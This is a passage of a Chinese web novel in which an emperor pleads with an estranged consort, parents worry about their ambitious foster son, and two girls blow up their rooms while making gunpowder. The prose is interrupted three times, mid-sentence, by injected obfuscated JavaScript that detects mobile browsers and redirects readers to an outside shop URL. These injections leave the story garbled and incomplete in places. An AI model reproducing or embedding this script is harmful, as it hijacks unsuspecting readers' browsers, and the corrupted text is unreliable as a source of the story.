的地砖上,低眉顺眼,姿态恭谨到近乎疏离。她的声音平静如水,不起一丝波澜:"陛下,臣妾年纪已老,姿色衰弛,不适合承恩。还请陛下移步别的宫苑。" 他听了这请他出去的话,心中那团积压了许久的怒火腾地烧了起来。 他猛然坐起身,下床,蹲下身,伸出手捏住顾贵妃的下巴,迫使她抬起头来。他的指节微微发颤,那力度足以让她感觉到痛,却又不至于捏碎。 他的目光直直地看进她的眼睛里,声音低沉而带着压抑的怒火:"自从解除禁足,你一直都在拒绝朕。你到底要拒绝到什么时候?婉清,你到底要怎样才肯原谅朕?" 顾贵妃被迫抬起头,却依然垂着双眸,不与他对视。她的面容在烛光下依旧迷人,甚至比六年前更多了一种沉静的韵味。可她的声音却像一面没有涟漪的湖水,平静得近乎残忍:"陛下,臣妾人老珠黄,的确不适合再承恩。" 他仔细地看着顾贵妃那一张迷人的脸——这张脸他太熟悉了,闭着眼睛都能画出来。 他的目光从她的眉眼滑到她的嘴唇,手上的力道不自觉地松了几分,声音也放低了,带上了一种从不示人的柔软。 他的嗓音微微沙哑,像是一个跋涉了太久终于放下行囊的旅人:"六年前将你禁足一年,给你带来了太多痛苦。朕已知晓朕错了——是朕听信了谗言,是朕伤了你的心。你避了朕四年,朕也四年没有踏进这翠微宫。今夜,就不要再将朕拒之千里之外了,好吗?" 顾贵妃听了此话,情绪并未有起伏。她的心中翻涌着什么,只有她自己知道——那些年的等待、失望、恐惧和无数个独自流泪的深夜,不是一句"朕错了"就能一笔勾销的。 她的面容依旧安安静静,语气依旧不亲不淡,像一堵没有缝隙的墙,连声音的抑扬都纹丝不变:"还请陛下移步,让其她姐妹承恩。" 他依旧不放弃。他这一生,何曾对任何人这样低声下气过?他的骄傲、他的威严、他身为九五之尊的不可一世,在此刻全都放下了。 他看着眼前这个安安静静、不为所动的女人,咬了咬牙,声音里带着一种几近破碎的执着:"朕四年都未踏进这翠微宫。如今踏进了,你还是要如此狠心拒绝朕?朕今日在这里待了半天——陪孩子们练武、考功课,在庭前喝茶,在你宫里用膳。朕做这些,难道你一点都看不出来是为了什么?朕就是为了能名正言顺地留下来,留在你身边。你当真不知道吗?" 顾贵妃依旧不冷不热,规规矩矩,跪在地上的身姿纹丝不动,像一尊没有温度的玉雕。她的声音还是那句话,不轻不重,不急不缓:"还请陛下移步其他宫苑。" 他的心像被一只手狠狠地攥住了。他已把姿态放得这样低了,低到了尘埃里,可她还是不肯,还是不肯打开那扇门。 他的手从她下巴上滑落,垂在身侧,攥成了拳头。他依旧不放弃,声音里带上了几分沙哑,几分不解,几分不甘:"朕四年都未踏进这翠微宫。如今踏进了,你还是要如此狠心拒绝朕?朕已经认了错,朕已经说了错,你到底还要朕怎么做?" 顾贵妃始终没有抬眼,始终没有动摇,始终用那副不亲不淡、不暖不冷的语气,规规矩矩地说道:"还请陛下移步其他宫苑。" 他看着顾贵妃那毫不在乎自己的眼神,那眼神里没有恨,没有怨,没有怒,只有一种淡淡的、礼貌的疏离——比恨更伤人。 他缓缓站起身,胸膛剧烈起伏了几下,将所有的怒意、不甘、委屈和痛苦全部压在了喉咙口。他听到自己的声音从齿缝里迸出来,像冰凌碎裂:"好。很好。顾婉清,以后你都不要想朕再踏进你这翠微宫。" 他说完,猛然转身,大步朝外走去。龙袍的下摆扫过门槛,烛火被他带起的风吹得剧烈晃动,在墙上投下一片凌乱的影子。 他的脚步声在走廊里越来越远,每一步都像踩在刀尖上。他没有回头,因为一旦回头,他怕自己会做出什么连自己都无法原谅的事。 他记得,顾贵妃刚被解除禁足,他多次主动来翠微宫。可每次,顾贵妃都是拒绝他千里之外,都是很有规矩地把他请出去。一次,他来了火,借着酒劲,强行把顾贵妃抱上了床……就是这一次,顾贵妃怀上了箫幽兰。而这一次,也是这几年来他与顾贵妃唯一一次鱼水之交。 顾贵妃依旧跪在地上,月光从窗棂透进来,照在她的白色睡袍上,照在她散落一地的长发上,也照在她眼底那层薄薄的、却始终没有落下来的泪光上。 她慢慢地、慢慢地低下头,看着地上那些被他的脚步带进来的海棠花瓣——不知什么时候飘进来的,粉白色的,在月光下泛着微微的银光,像是无声的叹息。 她伸出手,拾起一片,放在掌心里,然后缓缓收拢了手指。她对自己说:这样最好。不爱,便不会受伤;不在意,便不会失去;不靠近,便不会再被推开。 她六年前就已经学会了这个道理——在落了锁的翠微宫里,在那一年的日日夜夜里,她早就把自己的心,一层一层地裹了起来。如今又何必再撕开呢? 24. 拉得了一程,拉不了一世 宋府的灯火明亮,书房里烛火静静燃着,将满架的书脊照得暖融融的。 宋玉章坐在书案前,正提笔练字。她写了一遍,不满意,又写了一遍,还是不满意,眉头微微皱着,嘴唇不自觉地抿了起来,看着宣纸上那几个歪歪扭扭的字,颇有几分跟自己生闷气的模样。 她自幼习字,对自己要求极高,今日不知怎的,这字总也写不出自己想要的模样。 正在一旁读书的程国恩见了,放下手中的书卷,起身走到宋玉章身边。他站定,微微俯身,目光落在宣纸上,又移到她微蹙的眉间,眼里带着绵绵的情意,连声音都比平日里柔了几分:“怎么皱着眉头?写个字倒像在跟自己打仗似的。” 宋玉章抬起头,烛光映在她的脸上,眼里也带着些许少女的羞涩,她指了指宣纸,轻声说道:“这个字我总是写不好。横竖撇捺都对,可就是少了一股气。” 程国恩微微一笑,那笑容温和而克制。他没有靠得太近,而是走到宋玉章身后,微微俯身,胸膛与她的后背隔着一尺有余的距离,保持着恰如其分的分寸——近得足以教她写字,远得不至于失了礼数。他伸出手,握住宋玉章握笔的手,声音轻柔而认真:“看仔细了,二哥教你。” 程国恩的手包裹住宋玉章的手时,他的手温暖而干燥,力道恰到好处。宋玉章的心微微一震,耳根子以肉眼可见的速度红了起来,从耳尖一路烧到了耳垂,心也跳着。她低着头不敢看他,只是柔声地应了一句:“好。”那声音轻得像春日里第一声燕啼。 程国恩看着宋玉章那红透了的耳根子和那柔声的回答,心里如同抹了蜜一般,一股暖流从心底淌过,嘴角的笑意压都压不住。 他没有说话,收敛了心神,开始握着宋玉章的手,一笔一画地教她写起字来。他的腕力沉稳,笔锋带着筋,横平竖直,撇捺舒展,每一笔每一画都带着筋骨,又透着几分温柔——那温柔不在纸上,在握着她手的分寸里。书房里安静极了,只有笔锋扫过宣纸的沙沙声,和两个人之间隔着的那一尺距离里微微发烫的空气。 宋玉章有些心猿意马,她能感受到他掌心的温度透过笔杆传过来,能感受到他近在咫尺的呼吸轻轻拂过她的发顶。那少女的心思写在了脸上——眼里有光,嘴角有笑,连写字的手都不那么听使唤了,写出来的那一横微微发颤,像是她此刻的心跳。 字写好了,程国恩直起身体,退后一步,重新与她保持着一尺有余的距离。他低头看着宣纸上那一个比之前好了太多的字,又看了看宋玉章那有些心不在焉的模样——她盯着字发呆,不知在想什么,嘴角还挂着一丝若有若无的笑。 程国恩嘴角忍不住一笑,他知道,她也喜欢他。这份确定让他的欣喜万分。不过,他旋即收敛了那抹笑意,恢复了平日里兄妹相处时的端正神态,拿起一旁的书卷,轻轻拍在宋玉章的头上,语气也换成了兄长式的调侃:“认真一些。写字便是写字,心不在焉可不成。” 此时,宋夫人和宋四维正站在书房门口。他们本是过来叫两个孩子早些歇息的,却恰好将方才那一幕看在了眼里——从程国恩握住女儿的手教她写字,到此刻他拿书轻轻拍她的头,两双眼睛看得一清二楚。 宋玉章被拍了一下头,哎哟一声回过神来,抬起头嗔怪地看着程国恩,腮帮子微微鼓起,语气里带着少女的娇嗔和几分撒娇的味道:“二哥是坏蛋!” 程国恩看着她那张生气的脸,宠溺地笑了笑,眼里满是温柔:“谁让你不认真。赶紧重新写一遍,写好了我要检查。若是写不好,我就告诉母亲,说你今日练字不认真,只顾着发呆。” 宋玉章撅着小嘴,嘟囔了一句“我才没有发呆”,然后乖乖拿起笔,重新铺开一张宣纸,蘸了墨,认真地写了起来。这一次,她的心静了下来,笔下的字也端正了许多。 程国恩看着宋玉章那如画的眉目——烛光下她的侧脸柔和而清丽,他又笑了笑,那笑容里藏着太多不能宣之于口的情意。然后他收回目光,回到自己的位置上,重新拿起书卷,神色如常地看了起来,仿佛方才什么也没有发生。 书房外,宋四维与宋夫人相视一笑,那笑容里有过来人的了然,也有为人父母者的复杂心绪。他们没有进去打扰,而是转身离开了书房,并肩在回廊上漫步。 回廊两侧的灯笼在夜风中轻轻摇曳,将他们的影子投在青砖地面上,时而交叠,时而分开。 宋夫人走了一段,才轻声开口,声音里有感慨,也有忧虑,像是把憋了许久的话终于吐了出来:“我们皆是过来人,这些少年少女的心思,哪里能瞒得过眼睛。国恩虽然规规矩矩,没有半分逾矩之举,但是他看着玉章的眼神,却是藏不住的——那里头带着一团火。玉儿对国恩的心思,更是写在脸上,连耳朵都红了。她自己或许以为没人知道,可我们这些做父母的,看一眼便明白了。” 宋四维背着手,走在妻子身侧,语气淡然,倒不似妻子那般忧心:“正是年少,哪个男女不怀春。咱们玉儿又生得这般姣好的容貌——这京城里谁不知道宋家大姑娘才貌双全,哪个少年郎见了不倾心。国恩朝夕相处,生情也是情理之中。若他日日面对玉儿而无动于衷,那倒反而说明他心如铁石,更让人不安了。” 宋夫人停下脚步,转过头望着丈夫,神色认真了几分,声音也压低了些——尽管回廊里除了他们二人再没有旁人,她仍然不由自主地放低了音量:“夫君,国恩绝非玉章良配。” 宋四维听了,也停下脚步,转过身看着妻子,月光落在他清俊的面容上,将眼角的细纹照得分明。他的声音依旧平静,没有反驳,只是问道:“怎样讲?” 宋夫人沉吟了片刻,像是在斟酌措辞。她知道程国恩是丈夫亲手从河里救上来的孩子,这么多年来丈夫对他倾注了无数心血,有些话说得太重,她自己也于心不忍。 可这些话,她不说,便没有人会说了:“国恩长得也一表人才——这我承认,他仪表堂堂,温文尔雅,言谈举止皆是翩翩君子之风。他看玉儿的眼神是很清澈,全是爱意,不掺杂其他杂质——这一点我也看在眼里,他对玉儿是真心的。可是,”她顿了顿,目光里透出一丝深沉的忧虑,“他的眼神太深沉了,颇有心机。那份心机平日里藏在温和有礼的表面下,轻易不示人,可我能感觉得到。一个人年纪轻轻便有这般城府,以后的人生路,不知是否会走偏。我是心疼玉儿——万一将来他走了弯路,玉儿该怎么办?” 宋四维沉默了很久。久到回廊尽头的灯笼被风吹得微微晃动,久到远处传来巡夜仆人的脚步声又渐渐远去。他当然知道夫人的话——她说的这些,他岂能看不出来? 宋四维识人无数,朝堂上那些老谋深算的官员在他面前都藏不住心思,何况是一个十几岁的少年。他早就看出程国恩心底那个暗涌的漩涡,那份对权势的渴望和不甘人下的野心。可他更清楚,人不是靠看透来改变的。 他轻轻叹了口气,那叹息声在夜色里散开,化成了若有若无的白雾。他终于开口,语气里有洞明世事的通透,也有一丝不易察觉的无奈:“每个人要走什么路,上苍早已注定,岂能尽如人意。我们收养国恩,将他从一个在河里漂泊的无名孤儿养到如今,教他读书明理,教他为人处世,已尽了养育的职责。以后的他,成什么样子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618704|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走什么路,就交给上苍吧。有些人,你拉得了一程,拉不了一世。” 宋夫人听了,沉默良久,然后轻轻叹了一口气,那叹息里有心疼,有无奈,也有一种不祥的预感,像一片薄薄的云翳掠过心头:“当年收养国恩的决定,真不知道是福还是祸啊。我有时半夜醒来,想起他小时候那瘦骨伶仃的样子,又想起如今他那双越来越深不见底的眼睛,心里就像悬着一块石头,不知什么时候会落下来。” 宋四维岂能不知道程国恩那深藏的心思。他知道程国恩早晚有一天是要离开宋家的——一个志在权柄的人,怎会甘心在翰林院这座清贵而无实权的庭院里安身立命? 他甚至知道,程国恩私下与方继志来往,那不是一个好的征兆。可他没有点破,也没有阻拦。有些人,拦是拦不住的,越拦他越要去,越拉他越觉得你在挡他的路。 所以他并不指望程国恩能报答宋家的养育之恩,他只希望程国恩走了弯路、撞了南墙之后,知晓错了,还能调头,迷途知返。那便是宋家对这个养子最后的期许了。 至于程国恩与女儿玉章的姻缘,他也不想横加干涉。感情这东西,拦不住也推不得。如果月老早已把程国恩与女儿的红线绑在了一起,那么棒打鸳鸯只会适得其反,逼得两人越靠越紧。既然如此,不如顺其自然吧。该来的,无论如何抵挡都会来;不该来的,即使跪在佛前求千年万年也求不来。 宋四维伸手,将手轻轻搭在夫人的肩上,揽着她继续往前走。他的掌心温暖而有力,像这些年来无数次在风雨中给予她的支撑。 他的声音也比方才轻快了几分,带着一种看开之后的豁达,也带着对自己结发妻子特有的温柔:“人生一世,祸福相依。是福是祸,我们无法预知,也无需过分忧虑。一切顺其自然吧。良缘也好,孽缘也罢,都是玉儿自己要走的路。我们做父母的,只能陪她一程,陪不了一世。” 宋夫人抬起头,看着丈夫的侧脸。月光照在他清俊的轮廓上,他已不是当年那个少年得志的翰林郎了,眼角添了皱纹,可那双眼睛却依然是澄澈而温润的,像一汪深不见底的潭水,沉静地倒映着世间万物。 她露出了一抹温柔的笑,那笑容里有爱意,有敬重,也有一种相濡以沫多年的安心:“你啊,真是老庄最虔诚的弟子。什么事到了你这里,都能顺其自然。我年轻时刚嫁过来,被你的顺其自然气得牙痒痒,如今几十年过去了,倒也被你磨成了半个老庄弟子。” 宋四维哈哈一笑,那笑声在安静的夜色里显得格外舒畅。他抬头看着夜空中的明月,月色皎洁,清辉洒满了庭院,照得青石地面如同铺了一层薄霜。 远处传来更鼓声,在这万籁俱寂的夜里,听来格外悠远。他把手从夫人的肩上移到了她的手上,握住了她的手,十指相扣:“夫人,及时行乐。夜色如此美,你我何不踏月漫步庭中,岂能辜负这般良辰美景?” 宋夫人看着丈夫那双在月光下依旧明亮的眼睛,笑着点了点头,将头轻轻靠在他的肩头,柔声道:“夫君如此雅兴,我怎能不陪?” 于是,这对从成婚便一直恩爱的夫妻,便携手漫步于庭中。 月光将他们的影子投在青石地上,一高一矮,一前一后,时而交叠在一起。 庭院里的海棠花香在夜风中弥漫,暗香浮动,一阵一阵地拂过他们的衣衫。 远处书房里还亮着灯——那灯光透过窗纸,像是两颗年轻的心里各自藏着的秘密。 而这两个已经走过了青春、走过了风雨、走到了鬓发微霜的人,只是在月色里慢慢地走着,什么也没有再说。该说的,都在那相扣的十指里了。 25. 有花、有酒、有知己 月色明朗,银辉如水银泻地,将整座宋府笼罩在一片温柔的清辉之中。庭院里的老槐树在夜风中轻轻摇曳,叶子沙沙作响。 宋四维与夫人携手漫步于庭中,十指相扣,步伐舒缓,默契得无需言语——走快了的一方会不自觉地放慢,等另一方跟上来;想停下来看花的一方只需手指微微用力,另一方便心领神会。 这一对夫妻,已携手走过十八年风雨,从少年夫妻走到鬓边微霜。十八年里,她为他生了五个孩子,他给了她一世不变的温柔。而接下来,他们还要携手走完一生,从青丝走到白头,从今生走到来世。 书房里,程国恩正伏案奋笔疾书。他在誊抄一篇策论,那是王谦山长布置的功课,要求论述治国之道。他已经写了整整一个时辰,手腕酸了也只是甩一甩又继续写,仿佛不知疲倦。 宋玉章依旧在写字,她执着笔,一笔一画地临摹着那方才程国恩教她的那个字。她写了不下几十遍,终于写得有了几分筋骨,不再是先前那副软塌塌的模样。她放下笔,端详着自己的进步,嘴角微微上扬。 程国恩抬起头,目光从她的侧脸上掠过,没有停留太久,可那短暂的注视里,已盛满了他不能说出口的千言万语。 肖朗的院子里,则是另外一番景象。与书房里的安静截然不同,这里满是烟火气与孩童的嬉闹声。院中的石灯将暖黄的光洒在青砖地面上,宋清扬正在院子中央扎马步。 别看才八岁,那小腰板挺得笔直,双腿分开,双拳收在腰间,已扎得像模像样,颇有几分习武之人的架势。他的小脸绷得紧紧的,额头上渗出了细密的汗珠,可他咬着牙一声不吭——肖朗说过,习武的人不能喊苦喊累。 肖朗坐在一张矮凳上,高大的身躯微微躬着,好让身后的人更方便摆弄。宋引章正站在他背后,手里拿着一把木梳,将他一头墨发梳得整整齐齐,然后分成几股,编成小女儿家的发髻。她的手指虽还稚嫩,编得却颇为用心,每一个发髻都扎得紧紧的,再缀上几朵从院中摘来的小花——一朵粉的,一朵白的,一朵黄的,把肖朗的脑袋打扮得像一座开满春花的山坡。 肖朗一动不动,任由小丫头在自己头上折腾。他的脸上全是宠溺的笑容,那笑容纯粹而温暖,是一个兄长对妹妹毫无保留的疼爱,也是一个把宋家当成了家的少年最真挚的温柔。 他已十六岁,他看着宋清扬和宋引章从呱呱坠地、小小的一团,到牙牙学语、蹒跚学步,再到如今正是顽皮的年纪,会爬树会打架会偷偷往他靴子里塞泥巴。他参与了他们生命中的每一个阶段,比任何人都更了解这两个孩子。 宋清扬更是从小就与他睡一张床,天天黏着他,像一只甩不掉的小尾巴。 晚上肖朗不回来,他就不肯吃饭;早上醒来第一件事就是摸摸旁边的人还在不在。说宋清扬是肖朗带大的,也毫不为过。 宋引章也是时常黏着他——摔了跤不去找娘亲,反倒跑来找三哥,因为三哥会把她举得高高的,让她骑在脖子上飞,比什么灵丹妙药都管用。 院子里还晾着一只小小的风筝,是他昨日带着宋清扬和宋引章一起扎的,说是等风好了就带他们去城外放。 肖朗的心思不似程国恩那般深沉如海。他没有那些功名利禄的渴求,没有那些不甘人下的野心。在他心里,宋府就是他的家,这院子里每一个人都是他的亲人,他这辈子哪里也不去。 他一直习武,春夏秋冬从不间断,别人问他为什么这样刻苦,他只是笑笑不答。原因很简单——他要保护宋家每一个人。 他要报答宋家的养育之恩,哪怕为此舍去性命,也在所不惜。这份心意,他从不说出口,只是放在心里,像一盏在风中静静燃着的灯。 宋含章的房间里,却是烟雾缭绕,如同一个小小的炼丹房。背部受伤的她,闲不住。对她来说,趴着养伤比打架挨揍还要难受——打架至少还能动,趴着简直是活受罪。 于是她让春夏在床前支起了一个小火炉,架上一口小铁锅,开始制作火药。 她趴在床上,上半身微微抬起,手里拿着一张从古籍上誊抄下来的配方,眯着眼睛对照着上面的比例,把硝石、硫磺、木炭按分量称好,小心翼翼地倒进锅里,手里握着一根木勺,不停地搅动着锅里逐渐混合的粉末。 搅得慢了怕不均匀,搅得快了又怕摩擦生热,她的手酸得像灌了铅,却丝毫不敢停下。春夏蹲在火炉边,满脸紧张地控制着火候——火大了会被姑娘骂,火小了也怕影响效果,小丫头的额头上全是汗。 威震将军府里,霍凌霜的房间里,同样也是烟雾缭绕。她的床上同样支着一个火炉,一旁的仆人在烧火,被烟气呛得眼泪直流,又不敢开口劝。 霍凌霜趴在床沿,手握着木勺,把制作火药的材料按照比例放在锅里,不停地搅动着。她的后背鞭伤还未痊愈,每搅动一下都会牵动伤口,疼得她龇牙咧嘴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有花、有酒、有知己,这样的日子,当真是快哉乐哉!人生得意须尽欢,莫使金樽空对月——他举起酒杯,对着月光遥遥敬了一杯,不知敬的是天上的明月,还是远方那个他素未谋面却已经让他日思夜想的霍家姑娘。 宋府里,宋含章正认真地制作着火药。威震将军府里,霍凌霜也在认真地制作着火药。 两个女孩,隔着好几条街,谁也不认识谁此刻的进度,可她们较着同一股劲。 26. 一声巨响,火药提前爆炸 突然——"轰!" 一声巨响震得地面都在微微颤抖。宋含章的火药性子太急了,还没有出锅,便在锅中发生了爆炸。 威震将军府里,霍凌霜的火药性子也太急了,还未出锅,也发生了爆炸。 两个女孩,几乎是在同一刻,被炸了个措手不及。 正在庭院中漫步的宋四维和宋夫人被这巨响震得浑身一颤,宋夫人险些踩到自己的裙摆。 书房里程国恩手中的笔一顿,在宣纸上洇出一大团墨迹;宋玉章惊得打翻了砚台,墨汁洒了一桌。 肖朗院中的肖朗、宋清扬和宋引章也被那爆炸声震得目瞪口呆——宋清扬扎着马步差点栽倒,肖朗头上的花都被震落了两朵。 众人纷纷放下手中的事,疾步朝着宋含章的院子跑去,脚步声在夜色里急促而慌乱。 待到他们跑进宋含章的房间,所有人都愣在了门口。屋顶已经被炸出了一个窟窿,月光透过那个大洞直直地照进来,落在满地的狼藉上。 房间里弥漫着刺鼻的硝烟味,地上散落着锅的碎片和黑色的粉末,床帐被烧焦了一半,连桌脚都歪了。 宋含章和春夏头发凌乱地竖了起来,像是被雷劈过一般,全身上下黢黑一片,只有两只眼睛还是亮的。 宋含章趴在床上,被炸得还有些发蒙,用力眨了眨眼睛——还好,眼睛能睁开。 春夏蹲在炉边,脸上黑得只看得见眼白和牙齿,手里还攥着那根烧成了半截的烧火棍,浑身都在瑟瑟发抖。 宋夫人见了,一股火从脚底板直冲脑门。她气得直跺脚,脱下脚上的鞋子便朝着宋含章冲了过去,嘴里一句话都骂不出来了,只有牙齿咬得咯咯作响。 她把宋含章按在床上,扬起鞋底子就往她屁股上打,一边打一边喘着粗气。她知道女儿背上还有伤,所以她只打屁股,可每一下都是实打实的。 宋含章趴在床上,一声不吭。背上那道被马蹄踩过的旧伤还在痛,此刻又被母亲的鞋底子招呼了一顿新的,屁股和背都火辣辣的,可她咬着枕头,硬是一声都没吭。 宋玉章和宋四维赶紧上前去拉着宋夫人,一个拽胳膊一个抱住肩膀,依旧拉不开已经气疯了的母亲。 肖朗和程国恩则赶紧招呼仆人进来收拾残局——提水的提水,扫地的扫地,爬上屋顶去搭帆布暂且遮住那个大窟窿。 威震将军府里,同样的爆炸声响起后,霍擎苍和仆人们也立马跑进了霍凌霜的房间。 只见房间里的屋顶同样被炸出了一个窟窿,月光和夜风一起从那个大洞灌进来,吹得满屋的硝烟四下弥漫。 霍凌霜和烧火的仆人头发竖起,全身黢黑,主仆二人站在床边,活像两块刚出炉的黑炭。锅已经炸得四分五裂,只剩下一个歪歪扭扭的锅底,还在地上冒着残烟。 霍擎苍站在门口,看着眼前这一幕——炸塌的屋顶,黢黑的孙女,满地的狼藉。 他没有发怒,也没有跺脚。他先是愣了一下,随即捋着白须,仰头大笑起来。那笑声中气十足,震得刚炸出来的窟窿里又掉下几片碎瓦。笑够了,他大声说道:"这才是我霍家的人!敢想敢干,不怕炸不怕烧,有这股劲,将来上了战场才不怕死。" 霍凌霜从床边走过来,一张黢黑的脸上只有眼白和牙齿是白的,头发还在冒着青烟,走到祖父面前,仰起头问:"祖父,我明明按照配料来的,为何不成功呢?硝石、硫磺、木炭的比例我称了好几遍,不会有错。" 霍擎苍听了,笑得更畅快了。他弯下腰,拍了拍孙女那颗还在冒烟的脑袋,开始耐心地指教起来——□□是死的,火候却是活的,硝石要提纯,硫磺要研细,木炭要选对木材,搅拌要均匀,火候要恰到好处。军器监里的火药匠人都是练了十多年才摸到窍门,哪有第一次就能成功的道理。霍凌霜认真地听着,不时点头,那张黑脸上满是专注。 而宋府里,宋夫人打累了,鞋底子也打飞了,人也没力气了。她瘫坐在地上,也不顾满地狼藉弄脏了衣裙,放声大哭起来,哭声里满是委屈和绝望。 她一边哭一边说道:"宋含章,你拿把刀把你娘杀了吧——你不要再如此折磨你娘了。我上辈子到底欠了你什么,这辈子要你这样来讨?"她的声音从哭喊变成了嘶哑的呢喃,仰起头望着屋顶那个大窟窿,"老天爷,我到底是犯了什么天条啊,你为何要如此惩罚我?五个孩子,四个都好好的,唯独这一个——唯独这一个像是来找我讨债的。" 宋四维蹲下身子想扶起她,她甩开了他的手。最后还是宋玉章和程国恩合力将已经泣不成声的宋夫人从地上搀起来,一左一右扶着她离开了这满目疮痍的房间,回自己的院子去歇息。 宋夫人的哭声渐渐远去,可那句"你拿把刀把你娘杀了吧"却像一根刺一样扎在了在场每个人的心里。 宋四维吩咐肖朗把已经被吓得目瞪口呆的宋清扬和宋引章带去睡觉——两个孩子从来没见过娘亲如此失态的模样,缩在肖朗身后瑟瑟发抖,宋引章的小脸上还挂着泪珠。 最后,宋四维走到宋含章身边。他低头看着趴在床上的女儿——头发炸成了鸡窝,脸黑得像个锅底,屁股上鼓着鞋印,背上的旧伤也被刚才母亲的一顿打扯裂了,渗出了血迹。 他看着看着,忽然觉得胸口一阵发闷,伸手抚着胸口,深深吸了一口气又吐出来,才稳住心神。他的声音疲惫至极:"你今夜,就看着这个窟窿睡觉吧。"说完,也气呼呼地转身走了。 宋含章趴在床上,背部的伤口裂开了,隐隐渗出了血。屁股也肿了,被鞋底子抽过的地方火辣辣地疼。可是她竟然不觉得疼,或者说,她从不在意这些皮肉之苦。她在意的只有一件事——为什么失败了? 她伸手抹了一把脸上的黑灰,扭头让春夏把那本古籍拿过来,借着屋顶窟窿里漏下来的一缕月光,翻到火药配方那一页,凑近了仔细研究到底是哪里出了问题。 春夏端着一盆水给她擦脸,手指还在发抖,可看到她家姑娘那副专注的样子,又忍不住抿嘴笑了——她家姑娘,就是天塌下来砸了个窟窿,也改不了这副性子。 第二日,宋含章和霍凌霜制作火药把家炸出一个窟窿的事,又如同长了翅膀一般传遍了京城的每一个角落。 从深宅大院到街头巷尾,从早点铺子到城门口的茶摊,人人都在议论这两个不知天高地厚的女娃娃。 茶馆里的说书先生惊堂木一拍,唾沫横飞地将昨晚的爆炸声描述得如同雷霆霹雳,仿若亲眼所见、亲耳所闻,把茶客们听得一惊一乍,纷纷叫好,铜盘里的赏钱也比往日多了一倍。 宫里的皇上听说了,正在批阅奏折的手顿了一下,随即放下朱笔,笑着摇了摇头,对一旁的德顺说道:"宋四维啊宋四维,你真是生了一个胆大如虎的女娃子呀。朕记得你当年也是出了名的稳重,你这个女儿倒是一点都不随你。" 德顺躬身笑道,那宋家二姑娘别说随爹了,怕是投胎时走了岔路,把男儿魂投进了女儿身。皇上听了又是一阵大笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618706|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈府里,沈老夫人听说了,端坐在太师椅上,端着茶盏的手微微颤抖——不是因为惊吓,而是因为笑意。她眼角的皱纹全都挤在了一起,那笑容里有欣赏,有满意,还有一种旁人读不懂的笃定——这个孙媳妇,她沈家要定了。炸得好,炸得越响越好,这样有胆魄的丫头,进了沈家才能撑起这座快要塌了的门楣。 顾府里,顾老夫人、顾大夫人、顾二夫人在槐花树下喝茶,也在说着宋含章——背部被马踩了的伤还没好,就又忙着制作火药被炸,真是个不消停的孩子。 顾二夫人摇着扇子说宋夫人上辈子不知道造了什么孽,摊上这么个闺女。顾大夫人也连连摇头,说这孩子的胆子怕是比天还大,不知道下一个窟窿会炸在谁家房顶上。 顾老夫人没有接话,只是轻轻叹了口气,说宋夫人确实不容易,咱们这些做母亲的,多体谅她些吧。 青山书院里,东院中,大家围着宋行简和程国恩,七嘴八舌地询问宋含章制作火药被炸的细节——有人好奇火药是怎么配的,有人幸灾乐祸地说是不是把宋家的房顶炸飞了,还有人拍着宋行简的肩膀表达同情。 宋行简面不改色地一一回答,语气平静得像在背诵《论语》。 西院里,稚童们也在热火朝天地谈论着宋含章和霍凌霜。 曾思雨阴阳怪气地说两个疯子炸了屋顶都还活着,真是命硬。 钟荀彧插嘴道听说宋含章被炸得像个黑炭一样,他爹都认不出她了。 顾子佩则把矛头转向了沈十安,嘲笑他以后娶了宋含章,洞房花烛夜时怕不是要被炸上天。 沈十安气得涨红了脸,嘟囔着说早晚要退亲,可声音明显比从前虚了许多——他嘴上依旧不饶人,心里却在想,一个敢把火药往锅里倒的女人,他若真去退亲,下场恐怕不是被挂在树上那么简单了。 顾子衿没有参与这些议论。她告了假,背着药箱来到了宋府,轻车熟路地穿过庭院,推开宋含章的房门,看到了趴在床上看书的宋含章,也看到了她背上那片裂开的伤口——昨夜的爆炸和母亲的一顿打,让原本已经开始愈合的伤口又重新裂了开来,纱布上洇出了血迹,边缘的皮肤红肿着。 顾子衿心疼得泪水夺眶而出,一边给宋含章换药,一边抱怨她为什么不消停。 她的声音带着哭腔,手上药膏的动作却依旧轻柔:你知不知道伤口反复裂开会化脓的?化脓了会发烧的。你就不能安安静静趴几天吗? 宋含章趴在床上,听顾子衿唠叨完,只是抬起头朝她笑了一下,说子衿,你知道硝石为什么那么烈吗?我看了古籍上说的,硝石遇热则燃,我的火候没控好。下次我把它提纯一下,应该就不会炸了。顾子衿被她气得哭笑不得——背上裂着口子,屁股上肿着鞋印,她竟然还在想下次。 宋夫人也来了。她站在门口,看着女儿红肿的屁股和破裂的伤口,心里真是又爱又恨。 她觉得自己像被分成了两半——一半心疼得要命,恨不得把女儿搂在怀里哄;另一半又想拎起鞋底子再打一顿。 她最终只是咬了咬嘴唇,放下了一罐活血化瘀的药膏,一句话也没说便转身出去了。走到门外,她靠在廊柱上,闭上眼深深吸了一口气,把眼底的泪忍了回去。 